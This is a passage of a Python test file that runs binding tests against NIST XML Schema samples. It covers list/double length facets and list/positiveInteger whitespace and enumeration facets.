def test_list_double_min_length_nistxml_sv_iv_list_double_min_length_1_3(mode, save_output, output_format):
"""
Type list/double is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-minLength-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-minLength-1-3.xml",
class_name="NistschemaSvIvListDoubleMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_min_length_nistxml_sv_iv_list_double_min_length_1_4(mode, save_output, output_format):
"""
Type list/double is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-minLength-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-minLength-1-4.xml",
class_name="NistschemaSvIvListDoubleMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_min_length_nistxml_sv_iv_list_double_min_length_1_5(mode, save_output, output_format):
"""
Type list/double is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-minLength-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-minLength-1-5.xml",
class_name="NistschemaSvIvListDoubleMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_max_length_4_nistxml_sv_iv_list_double_max_length_5_1(mode, save_output, output_format):
"""
Type list/double is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-maxLength-5.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-maxLength-5-1.xml",
class_name="NistschemaSvIvListDoubleMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_max_length_4_nistxml_sv_iv_list_double_max_length_5_2(mode, save_output, output_format):
"""
Type list/double is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-maxLength-5.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-maxLength-5-2.xml",
class_name="NistschemaSvIvListDoubleMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_max_length_4_nistxml_sv_iv_list_double_max_length_5_3(mode, save_output, output_format):
"""
Type list/double is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-maxLength-5.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-maxLength-5-3.xml",
class_name="NistschemaSvIvListDoubleMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_max_length_4_nistxml_sv_iv_list_double_max_length_5_4(mode, save_output, output_format):
"""
Type list/double is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-maxLength-5.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-maxLength-5-4.xml",
class_name="NistschemaSvIvListDoubleMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_max_length_4_nistxml_sv_iv_list_double_max_length_5_5(mode, save_output, output_format):
"""
Type list/double is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-maxLength-5.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-maxLength-5-5.xml",
class_name="NistschemaSvIvListDoubleMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_max_length_3_nistxml_sv_iv_list_double_max_length_4_1(mode, save_output, output_format):
"""
Type list/double is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-maxLength-4.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-maxLength-4-1.xml",
class_name="NistschemaSvIvListDoubleMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_max_length_3_nistxml_sv_iv_list_double_max_length_4_2(mode, save_output, output_format):
"""
Type list/double is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-maxLength-4.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-maxLength-4-2.xml",
class_name="NistschemaSvIvListDoubleMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_max_length_3_nistxml_sv_iv_list_double_max_length_4_3(mode, save_output, output_format):
"""
Type list/double is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-maxLength-4.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-maxLength-4-3.xml",
class_name="NistschemaSvIvListDoubleMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_max_length_3_nistxml_sv_iv_list_double_max_length_4_4(mode, save_output, output_format):
"""
Type list/double is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-maxLength-4.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-maxLength-4-4.xml",
class_name="NistschemaSvIvListDoubleMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_max_length_3_nistxml_sv_iv_list_double_max_length_4_5(mode, save_output, output_format):
"""
Type list/double is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-maxLength-4.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-maxLength-4-5.xml",
class_name="NistschemaSvIvListDoubleMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_max_length_2_nistxml_sv_iv_list_double_max_length_3_1(mode, save_output, output_format):
"""
Type list/double is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-maxLength-3.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-maxLength-3-1.xml",
class_name="NistschemaSvIvListDoubleMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_max_length_2_nistxml_sv_iv_list_double_max_length_3_2(mode, save_output, output_format):
"""
Type list/double is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-maxLength-3.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-maxLength-3-2.xml",
class_name="NistschemaSvIvListDoubleMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_max_length_2_nistxml_sv_iv_list_double_max_length_3_3(mode, save_output, output_format):
"""
Type list/double is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-maxLength-3.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-maxLength-3-3.xml",
class_name="NistschemaSvIvListDoubleMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_max_length_2_nistxml_sv_iv_list_double_max_length_3_4(mode, save_output, output_format):
"""
Type list/double is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-maxLength-3.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-maxLength-3-4.xml",
class_name="NistschemaSvIvListDoubleMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_max_length_2_nistxml_sv_iv_list_double_max_length_3_5(mode, save_output, output_format):
"""
Type list/double is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-maxLength-3.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-maxLength-3-5.xml",
class_name="NistschemaSvIvListDoubleMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_max_length_1_nistxml_sv_iv_list_double_max_length_2_1(mode, save_output, output_format):
"""
Type list/double is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-maxLength-2.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-maxLength-2-1.xml",
class_name="NistschemaSvIvListDoubleMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_max_length_1_nistxml_sv_iv_list_double_max_length_2_2(mode, save_output, output_format):
"""
Type list/double is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-maxLength-2.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-maxLength-2-2.xml",
class_name="NistschemaSvIvListDoubleMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_max_length_1_nistxml_sv_iv_list_double_max_length_2_3(mode, save_output, output_format):
"""
Type list/double is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-maxLength-2.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-maxLength-2-3.xml",
class_name="NistschemaSvIvListDoubleMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_max_length_1_nistxml_sv_iv_list_double_max_length_2_4(mode, save_output, output_format):
"""
Type list/double is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-maxLength-2.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-maxLength-2-4.xml",
class_name="NistschemaSvIvListDoubleMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_max_length_1_nistxml_sv_iv_list_double_max_length_2_5(mode, save_output, output_format):
"""
Type list/double is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-maxLength-2.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-maxLength-2-5.xml",
class_name="NistschemaSvIvListDoubleMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_max_length_nistxml_sv_iv_list_double_max_length_1_1(mode, save_output, output_format):
"""
Type list/double is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-maxLength-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-maxLength-1-1.xml",
class_name="NistschemaSvIvListDoubleMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_max_length_nistxml_sv_iv_list_double_max_length_1_2(mode, save_output, output_format):
"""
Type list/double is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-maxLength-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-maxLength-1-2.xml",
class_name="NistschemaSvIvListDoubleMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_max_length_nistxml_sv_iv_list_double_max_length_1_3(mode, save_output, output_format):
"""
Type list/double is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-maxLength-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-maxLength-1-3.xml",
class_name="NistschemaSvIvListDoubleMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_max_length_nistxml_sv_iv_list_double_max_length_1_4(mode, save_output, output_format):
"""
Type list/double is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-maxLength-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-maxLength-1-4.xml",
class_name="NistschemaSvIvListDoubleMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_double_max_length_nistxml_sv_iv_list_double_max_length_1_5(mode, save_output, output_format):
"""
Type list/double is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/double/Schema+Instance/NISTSchema-SV-IV-list-double-maxLength-1.xsd",
instance="nistData/list/double/Schema+Instance/NISTXML-SV-IV-list-double-maxLength-1-5.xml",
class_name="NistschemaSvIvListDoubleMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_white_space_nistxml_sv_iv_list_positive_integer_white_space_1_1(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-whiteSpace-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-whiteSpace-1-1.xml",
class_name="NistschemaSvIvListPositiveIntegerWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_white_space_nistxml_sv_iv_list_positive_integer_white_space_1_2(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-whiteSpace-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-whiteSpace-1-2.xml",
class_name="NistschemaSvIvListPositiveIntegerWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_white_space_nistxml_sv_iv_list_positive_integer_white_space_1_3(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-whiteSpace-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-whiteSpace-1-3.xml",
class_name="NistschemaSvIvListPositiveIntegerWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_white_space_nistxml_sv_iv_list_positive_integer_white_space_1_4(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-whiteSpace-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-whiteSpace-1-4.xml",
class_name="NistschemaSvIvListPositiveIntegerWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_white_space_nistxml_sv_iv_list_positive_integer_white_space_1_5(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-whiteSpace-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-whiteSpace-1-5.xml",
class_name="NistschemaSvIvListPositiveIntegerWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_enumeration_4_nistxml_sv_iv_list_positive_integer_enumeration_5_1(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-enumeration-5.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-enumeration-5-1.xml",
class_name="NistschemaSvIvListPositiveIntegerEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_enumeration_4_nistxml_sv_iv_list_positive_integer_enumeration_5_2(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-enumeration-5.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-enumeration-5-2.xml",
class_name="NistschemaSvIvListPositiveIntegerEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_enumeration_4_nistxml_sv_iv_list_positive_integer_enumeration_5_3(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-enumeration-5.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-enumeration-5-3.xml",
class_name="NistschemaSvIvListPositiveIntegerEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_enumeration_4_nistxml_sv_iv_list_positive_integer_enumeration_5_4(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-enumeration-5.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-enumeration-5-4.xml",
class_name="NistschemaSvIvListPositiveIntegerEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_enumeration_4_nistxml_sv_iv_list_positive_integer_enumeration_5_5(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-enumeration-5.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-enumeration-5-5.xml",
class_name="NistschemaSvIvListPositiveIntegerEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_enumeration_3_nistxml_sv_iv_list_positive_integer_enumeration_4_1(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-enumeration-4.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-enumeration-4-1.xml",
class_name="NistschemaSvIvListPositiveIntegerEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_enumeration_3_nistxml_sv_iv_list_positive_integer_enumeration_4_2(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-enumeration-4.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-enumeration-4-2.xml",
class_name="NistschemaSvIvListPositiveIntegerEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_enumeration_3_nistxml_sv_iv_list_positive_integer_enumeration_4_3(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-enumeration-4.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-enumeration-4-3.xml",
class_name="NistschemaSvIvListPositiveIntegerEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_enumeration_3_nistxml_sv_iv_list_positive_integer_enumeration_4_4(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-enumeration-4.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-enumeration-4-4.xml",
class_name="NistschemaSvIvListPositiveIntegerEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_enumeration_3_nistxml_sv_iv_list_positive_integer_enumeration_4_5(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-enumeration-4.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-enumeration-4-5.xml",
class_name="NistschemaSvIvListPositiveIntegerEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_enumeration_2_nistxml_sv_iv_list_positive_integer_enumeration_3_1(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-enumeration-3.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-enumeration-3-1.xml",
class_name="NistschemaSvIvListPositiveIntegerEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_enumeration_2_nistxml_sv_iv_list_positive_integer_enumeration_3_2(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-enumeration-3.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-enumeration-3-2.xml",
class_name="NistschemaSvIvListPositiveIntegerEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_enumeration_2_nistxml_sv_iv_list_positive_integer_enumeration_3_3(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-enumeration-3.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-enumeration-3-3.xml",
class_name="NistschemaSvIvListPositiveIntegerEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_enumeration_2_nistxml_sv_iv_list_positive_integer_enumeration_3_4(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-enumeration-3.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-enumeration-3-4.xml",
class_name="NistschemaSvIvListPositiveIntegerEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_enumeration_2_nistxml_sv_iv_list_positive_integer_enumeration_3_5(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-enumeration-3.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-enumeration-3-5.xml",
class_name="NistschemaSvIvListPositiveIntegerEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_enumeration_1_nistxml_sv_iv_list_positive_integer_enumeration_2_1(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-enumeration-2.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-enumeration-2-1.xml",
class_name="NistschemaSvIvListPositiveIntegerEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_enumeration_1_nistxml_sv_iv_list_positive_integer_enumeration_2_2(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-enumeration-2.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-enumeration-2-2.xml",
class_name="NistschemaSvIvListPositiveIntegerEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_enumeration_1_nistxml_sv_iv_list_positive_integer_enumeration_2_3(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-enumeration-2.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-enumeration-2-3.xml",
class_name="NistschemaSvIvListPositiveIntegerEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_enumeration_1_nistxml_sv_iv_list_positive_integer_enumeration_2_4(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-enumeration-2.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-enumeration-2-4.xml",
class_name="NistschemaSvIvListPositiveIntegerEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_enumeration_1_nistxml_sv_iv_list_positive_integer_enumeration_2_5(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-enumeration-2.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-enumeration-2-5.xml",
class_name="NistschemaSvIvListPositiveIntegerEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_enumeration_nistxml_sv_iv_list_positive_integer_enumeration_1_1(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-enumeration-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-enumeration-1-1.xml",
class_name="NistschemaSvIvListPositiveIntegerEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_enumeration_nistxml_sv_iv_list_positive_integer_enumeration_1_2(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-enumeration-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-enumeration-1-2.xml",
class_name="NistschemaSvIvListPositiveIntegerEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_enumeration_nistxml_sv_iv_list_positive_integer_enumeration_1_3(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-enumeration-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-enumeration-1-3.xml",
class_name="NistschemaSvIvListPositiveIntegerEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
